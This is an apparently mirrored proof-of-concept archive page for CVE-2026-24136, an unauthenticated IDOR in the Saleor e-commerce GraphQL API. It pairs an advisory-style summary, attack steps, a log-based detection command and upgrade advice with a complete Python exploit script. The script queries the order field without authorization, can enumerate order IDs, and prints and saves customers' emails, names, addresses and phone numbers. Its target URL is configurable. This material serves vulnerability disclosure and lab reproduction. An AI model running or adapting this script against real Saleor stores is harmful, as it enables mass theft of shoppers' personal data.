PoC Archive PoC Archive
High CVE-2026-24136 patched

Saleor GraphQL IDOR — Unauthenticated Order PII Exfiltration (CVE-2026-24136)

by BlankBire · 2026-07-05

CVSS 7.5/10
Severity
High
CVE
CVE-2026-24136
Category
web
Affected product
Saleor e-commerce platform (GraphQL API)
Affected versions
3.2.0 - 3.20.109, 3.21.0 - 3.21.44, 3.22.0 - 3.22.28 (fixed in 3.20.110, 3.21.45, 3.22.29)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherBlankBire
CVE / AdvisoryCVE-2026-24136
Categoryweb
SeverityHigh
CVSS Score7.5 (CVSS 3.1) / 8.7 (CVSS 4.0)
StatusPoC
Tagssaleor, graphql, idor, bola, cwe-639, pii-leak, unauthenticated, e-commerce
RelatedN/A

Affected Target

FieldValue
Software / SystemSaleor e-commerce platform (GraphQL API)
Versions Affected3.2.0 - 3.20.109, 3.21.0 - 3.21.44, 3.22.0 - 3.22.28 (fixed in 3.20.110, 3.21.45, 3.22.29)
Language / PlatformPython (Saleor/Django backend); PoC written in Python
Authentication RequiredNo
Network Access RequiredYes

Summary

Saleor exposes a GraphQL order(id: $id) query used to fetch detailed order information by its global Relay ID. In affected versions this resolver performs no authorization check, so any unauthenticated caller who obtains (or guesses) an order’s global ID can retrieve the full order record — including customer email, full name, shipping/billing address, phone number, and account login history. The included PoC script queries this endpoint without any authorization header and prints the leaked PII for a list of order IDs, and also supports enumerating legacy integer-based order IDs on older Saleor deployments. A companion seed_data.py script and Docker Compose lab are provided to stand up a vulnerable Saleor 3.20 instance for reproduction.


Vulnerability Details

Root Cause

resolve_order() in saleor/graphql/order/resolvers.py and the OrderQueries.order field in saleor/graphql/order/schema.py return full order data by primary key without verifying that the requester is staff or the order’s owner — CWE-639 (Authorization Bypass Through User-Controlled Key).

Attack Vector

  1. Obtain a valid order’s base64-encoded global ID (base64("Order:<uuid>")), e.g. leaked via a confirmation email, dashboard URL, or logs — or enumerate sequential integer IDs on Saleor 2.x-style deployments.
  2. Send an unauthenticated POST /graphql/ request with an order(id: ...) query requesting userEmail, billingAddress, shippingAddress, and user fields.
  3. The server returns the full order object with no Authorization header required.
  4. Repeat against additional IDs to bulk-harvest customer PII.

Impact

Unauthenticated disclosure of customer PII (name, address, phone, email, login history) for any order whose ID the attacker can obtain, enabling account takeover support-fraud, targeted phishing, or large-scale data harvesting.


Environment / Lab Setup

Target:   Saleor 3.20 (Docker Compose: Saleor API + PostgreSQL + Redis), seeded via seed_data.py
Attacker: Python 3.8+, `pip install requests`

Proof of Concept

PoC Script

See poc_cve_2026_24136.py, seed_data.py, setup_lab.sh, and docker-compose.yml in this folder.

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docker compose up -d
cd scripts   # (files are at the top level of this mirrored folder)
pip install requests
python seed_data.py
python poc_cve_2026_24136.py file order_ids.json

seed_data.py provisions victim accounts and orders containing PII in the lab; poc_cve_2026_24136.py then queries the unauthenticated GraphQL order field for each order ID (from a file, a single global ID, or a sequential-ID enumeration mode) and prints the leaked customer data.


Detection & Indicators of Compromise

grep 'POST /graphql/' access.log | awk '$9 == 200 && !/Authorization/' | awk '{print $1}' | sort | uniq -c | sort -rn

Signs of compromise:

  • Bursts of GraphQL POST requests to /graphql/ with no Authorization header querying order(id: ...)
  • Sequential or rapid enumeration of order IDs from a single source IP
  • Unexplained customer complaints of phishing/fraud referencing accurate order details they never shared

Remediation

ActionDetail
Primary fixUpgrade to Saleor 3.20.110, 3.21.45, or 3.22.29, which add staff/owner authorization checks to resolve_order() and return null for unauthorized/unauthenticated lookups
Interim mitigationAdd a WAF/reverse-proxy rule blocking unauthenticated GraphQL requests containing order(; rate-limit unauthenticated GraphQL traffic per IP

References


Notes

Mirrored from https://github.com/BlankBire/CVE-2026-24136-Lab on 2026-07-05.

poc_cve_2026_24136.py
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#!/usr/bin/env python3
"""
poc_cve_2026_24136.py – Proof of Concept khai thác CVE-2026-24136
Lỗ hổng: IDOR trong Saleor GraphQL API (CWE-639)
Tác động: Unauthenticated actor có thể đọc PII của bất kỳ order nào

Khai thác:
  Saleor encode Order ID dạng base64("Order:<number>")
  Attacker enumerate Order IDs → query GraphQL order()
  API trả về PII đầy đủ mà KHÔNG yêu cầu xác thực
"""

import requests
import base64
import json
import argparse
import sys

# Force UTF-8 output on Windows cp125x terminals
if hasattr(sys.stdout, "reconfigure"):
    sys.stdout.reconfigure(encoding="utf-8", errors="replace")

# ─── Config ──────────────────────────────────────────────────────────────────
API_URL = "http://localhost:8000/graphql/"

BANNER = r"""
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝
CVE-2026-24136 | Saleor IDOR – Unauthenticated PII Exfiltration
"""

# ─── GraphQL Query ────────────────────────────────────────────────────────────

EXPLOIT_QUERY = """
query ExploitOrder($id: ID!) {
  order(id: $id) {
    id
    number
    status
    created
    userEmail
    billingAddress {
      firstName
      lastName
      companyName
      streetAddress1
      streetAddress2
      city
      postalCode
      country { country code }
      phone
    }
    shippingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      country { country code }
      phone
    }
    user {
      id
      email
      firstName
      lastName
      dateJoined
      lastLogin
      isActive
    }
    total {
      gross { amount currency }
    }
    lines {
      productName
      quantity
      unitPrice { gross { amount currency } }
    }
  }
}
"""

# ─── Helpers ─────────────────────────────────────────────────────────────────

def encode_order_id(order_number_or_uuid):
    """Tạo Saleor global ID từ number hoặc UUID."""
    raw = f"Order:{order_number_or_uuid}"
    return base64.b64encode(raw.encode()).decode()


def decode_order_id(global_id):
    """Decode Saleor global ID về dạng 'Order:N'."""
    try:
        return base64.b64decode(global_id).decode()
    except Exception:
        return global_id


def query_order(order_id, token=None):
    """Gửi GraphQL query – mặc định KHÔNG có authentication."""
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    try:
        resp = requests.post(
            API_URL,
            json={"query": EXPLOIT_QUERY, "variables": {"id": order_id}},
            headers=headers,
            timeout=10,
        )
        return resp.json()
    except requests.exceptions.ConnectionError:
        print(f"[!] Không kết nối được tới {API_URL}")
        sys.exit(1)


def _box_row(label, value, width=62):
    """In một dòng trong box, đảm bảo alignment chính xác."""
    content = f"  {label:<16}: {str(value)}"
    # Cắt bớt nếu quá dài để khớp với box
    if len(content) > width:
        content = content[: width - 3] + "..."
    print(f"║{content:<{width}}║")


def _box_divider(width=62, char="─"):
    print("╠" + char * width + "╣")


def print_pii(order_data):
    """In thông tin PII thu thập được với box-drawing chuẩn (không emoji)."""
    order = order_data.get("data", {}).get("order")
    if not order:
        return False

    W = 62
    sep = "═" * W

    print("\n╔" + sep + "╗")
    header = f"  [LEAKED] ORDER #{order.get('number')} -- {order.get('status', '')}"
    print(f"║{header:<{W}}║")
    _box_divider(W)

    # User / email
    user = order.get("user") or {}
    email = order.get("userEmail") or user.get("email", "N/A")
    _box_row("Email", email, W)
    if user.get("firstName"):
        _box_row("Full Name", f"{user.get('firstName','')} {user.get('lastName','')}", W)
    if user.get("lastLogin"):
        _box_row("Last Login", user.get("lastLogin"), W)
    if user.get("isActive") is not None:
        _box_row("Account Active", user.get("isActive"), W)

    # Billing & Shipping addresses
    for label, addr in [("Billing Address", order.get("billingAddress")),
                        ("Shipping Address", order.get("shippingAddress"))]:
        if addr:
            _box_divider(W)
            name = f"{addr.get('firstName','')} {addr.get('lastName','')}".strip()
            _box_row(label, name, W)
            street = addr.get("streetAddress1") or ""
            if street:
                _box_row("  Street", street, W)
            city_zip = f"{addr.get('city','')} {addr.get('postalCode','')}".strip()
            if city_zip:
                _box_row("  City/Post", city_zip, W)
            country = (addr.get("country") or {}).get("country", "")
            if country:
                _box_row("  Country", country, W)
            phone = addr.get("phone") or "N/A"
            _box_row("  Phone", phone, W)

    # Order total
    total = (order.get("total") or {}).get("gross") or {}
    if total:
        _box_divider(W)
        amount = f"{total.get('amount', 0)} {total.get('currency', '')}"
        _box_row("Order Total", amount, W)

    # Order lines
    lines = order.get("lines") or []
    if lines:
        _box_divider(W)
        for line in lines[:3]:
            item = f"{line.get('productName','?')} x{line.get('quantity',1)}"
            _box_row("  Item", item, W)

    print("╚" + sep + "╝")
    return True

# ─── Attack Modes ─────────────────────────────────────────────────────────────

def attack_single(order_id_raw, output_file=None):
    """Khai thác 1 order ID cụ thể.
    Nhận:
      - số nguyên / UUID: sẽ được encode thành base64("Order:<input>")
      - base64 global ID trực tiếp: được nhận diện và dùng thẳng
    """
    # Detect nếu input đã là base64 global ID
    try:
        decoded = base64.b64decode(order_id_raw + "==").decode("utf-8")
        if decoded.startswith("Order:"):
            global_id = order_id_raw
            print(f"\n[*] Target     : {decoded}  (direct global ID)")
        else:
            raise ValueError("not a global ID")
    except Exception:
        global_id = encode_order_id(order_id_raw)
        print(f"\n[*] Target     : Order #{order_id_raw}")
        print(f"[*] Encoded    : {global_id}  (base64(\"Order:{order_id_raw}\"))")

    print(f"[*] No auth header – simulating unauthenticated attacker...")

    data = query_order(global_id)

    if data.get("data", {}).get("order"):
        print("[+] EXPLOIT SUCCESSFUL – PII leaked:\n")
        print_pii(data)
        if output_file:
            order = data["data"]["order"]
            _save_json([{
                "number": order.get("number"),
                "email": order.get("userEmail"),
                "phone": (order.get("billingAddress") or {}).get("phone"),
                "raw": order,
            }], output_file)
    elif "errors" in data:
        print(f"[-] GraphQL errors: {data['errors']}")
    else:
        print("[-] Order không tồn tại hoặc API đã được patch.")


def attack_enumerate(start=1, end=20, output_file=None):
    """Enumerate orders theo số thứ tự (sequential IDOR).
    NOTE: Saleor 3.x dùng UUID-based IDs nên sequential enumeration
    chỉ hoạt động nếu target sử dụng integer IDs (Saleor < 3.x).
    Để demo với Saleor 3.20+, dùng mode 'file' với order_ids.json.
    """
    print(f"\n[*] Enumerating orders #{start} -> #{end}")
    print(f"[*] NOTE: Saleor 3.20+ uses UUID IDs – sequential mode may find 0 results.")
    print(f"[*]       Use 'file order_ids.json' for UUID-based demo.\n")
    print(f"[*] No Authorization header\n")

    found = []
    for num in range(start, end + 1):
        global_id = encode_order_id(num)
        data = query_order(global_id)
        order = data.get("data", {}).get("order")
        if order:
            email = order.get("userEmail") or (order.get("user") or {}).get("email", "?")
            phone = (order.get("billingAddress") or {}).get("phone", "N/A")
            name_first = (order.get("billingAddress") or {}).get("firstName", "")
            name_last  = (order.get("billingAddress") or {}).get("lastName", "")
            found.append({
                "number": num,
                "email": email,
                "name": f"{name_first} {name_last}".strip(),
                "phone": phone,
            })
            print(f"  [+] #{num:>4} | {email:<35} | {phone}")
        else:
            print(f"  [-] #{num:>4} | not found / no PII")

    print(f"\n[*] Found {len(found)} orders with PII")

    if output_file and found:
        _save_json(found, output_file)

    return found


def attack_from_file(filepath, output_file=None):
    """Khai thác danh sách Order IDs từ file JSON (output của seed_data.py)."""
    with open(filepath, encoding="utf-8") as f:
        data_file = json.load(f)

    order_ids = data_file.get("order_ids", [])
    print(f"\n[*] Loaded {len(order_ids)} Order IDs from {filepath}")
    print("[*] Querying without authentication...\n")

    leaked = []
    for oid in order_ids:
        print(f"[*] Trying: {oid} ({decode_order_id(oid)})")
        data = query_order(oid)
        if print_pii(data):
            order = data["data"]["order"]
            leaked.append({
                "number": order.get("number"),
                "email": order.get("userEmail"),
                "phone": (order.get("billingAddress") or {}).get("phone"),
            })
        else:
            print(f"  [-] No data (order missing or patched)")

    print(f"\n[*] Successfully leaked {len(leaked)}/{len(order_ids)} orders")

    if output_file and leaked:
        _save_json(leaked, output_file)


def _save_json(records, filepath):
    """Lưu kết quả ra JSON file."""
    with open(filepath, "w", encoding="utf-8") as f:
        json.dump(records, f, indent=2, ensure_ascii=False)
    print(f"[+] Saved {len(records)} record(s) → {filepath}")


def show_vulnerability_explanation():
    print("""
┌──────────────────────────────────────────────────────────────┐
│         CVE-2026-24136 – Giải thích kỹ thuật                 │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  ROOT CAUSE (CWE-639 – Authorization Bypass via User Key):  │
│                                                              │
│    // Saleor <= 3.20.109 – KHÔNG kiểm tra quyền             │
│    def resolve_order(_, info, id):                           │
│        return Order.objects.filter(                          │
│            pk=pk_from_global_id(id)                          │
│        ).first()  # <-- trả về cho BẤT KỲ ai                │
│                                                              │
│    // Saleor >= 3.20.110 – ĐÃ PATCH                         │
│    def resolve_order(_, info, id):                           │
│        order = Order.objects.filter(...).first()             │
│        if not requestor_is_staff_member_or_app(...):         │
│            if order and order.user != info.context.user:     │
│                raise PermissionDenied()   # <-- chặn lại    │
│        return order                                          │
│                                                              │
│  ORDER ID ENCODING:                                          │
│    Order #42 --> base64("Order:42") = "T3JkZXI6NDI="        │
│    Attacker: for i in 1..N: query order(id=b64(f"Order:{i}"))│
│                                                              │
│  ATTACK FLOW:                                                │
│    Attacker                       Saleor API                 │
│       |                               |                      │
│       |-- POST /graphql/ ------------>|                      │
│       |   query order(id: "T3Jk...")  |                      │
│       |   (NO Authorization header)  |                      │
│       |<-- 200 OK: {email, phone,  --|                      │
│       |    billingAddress, user{}}    |                      │
│                                                              │
│  IMPACT: CVSS 4.0 = 8.7 HIGH                                │
│    • Email, full name, phone, address leaked                 │
│    • Unauthenticated – no account needed                     │
│    • Automated enumeration possible                          │
│                                                              │
│  FIX: Upgrade to 3.20.110 / 3.21.45 / 3.22.29              │
│                                                              │
└──────────────────────────────────────────────────────────────┘
""")

# ─── CLI ─────────────────────────────────────────────────────────────────────

def main():
    global API_URL
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="PoC CVE-2026-24136 – Saleor IDOR PII Exfiltration",
        formatter_class=argparse.RawTextHelpFormatter,
    )
    parser.add_argument(
        "--url", default=API_URL,
        help=f"Saleor GraphQL endpoint (default: {API_URL})"
    )
    parser.add_argument(
        "--output", metavar="FILE", default=None,
        help="Lưu kết quả PII ra JSON file (vd: --output leaked.json)"
    )
    subparsers = parser.add_subparsers(dest="mode", help="Chế độ khai thác")

    # Mode: single
    p1 = subparsers.add_parser("single", help="Khai thác 1 order ID cụ thể")
    p1.add_argument("order_id", help="Order number (vd: 1, 42) hoặc UUID")

    # Mode: enumerate
    p2 = subparsers.add_parser("enumerate", help="Enumerate nhiều orders theo số thứ tự")
    p2.add_argument("--start", type=int, default=1, help="Order number bắt đầu (default: 1)")
    p2.add_argument("--end",   type=int, default=20, help="Order number kết thúc (default: 20)")

    # Mode: file
    p3 = subparsers.add_parser("file", help="Khai thác từ file order_ids.json (output của seed_data.py)")
    p3.add_argument("filepath", help="Path tới file JSON")

    # Mode: explain
    subparsers.add_parser("explain", help="Hiển thị giải thích kỹ thuật lỗ hổng")

    args = parser.parse_args()

    if args.url:
        API_URL = args.url

    if args.mode == "single":
        attack_single(args.order_id, output_file=args.output)
    elif args.mode == "enumerate":
        attack_enumerate(args.start, args.end, output_file=args.output)
    elif args.mode == "file":
        attack_from_file(args.filepath, output_file=args.output)
    elif args.mode == "explain":
        show_vulnerability_explanation()
    else:
        parser.print_help()
        print("\n  Ví dụ:")
        print("    python poc_cve_2026_24136.py explain")
        print("    python poc_cve_2026_24136.py single 1")
        print("    python poc_cve_2026_24136.py enumerate --start 1 --end 50")
        print("    python poc_cve_2026_24136.py enumerate --start 1 --end 50 --output leaked.json")
        print("    python poc_cve_2026_24136.py file ./order_ids.json")
        print("    python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ enumerate")


if __name__ == "__main__":
    main()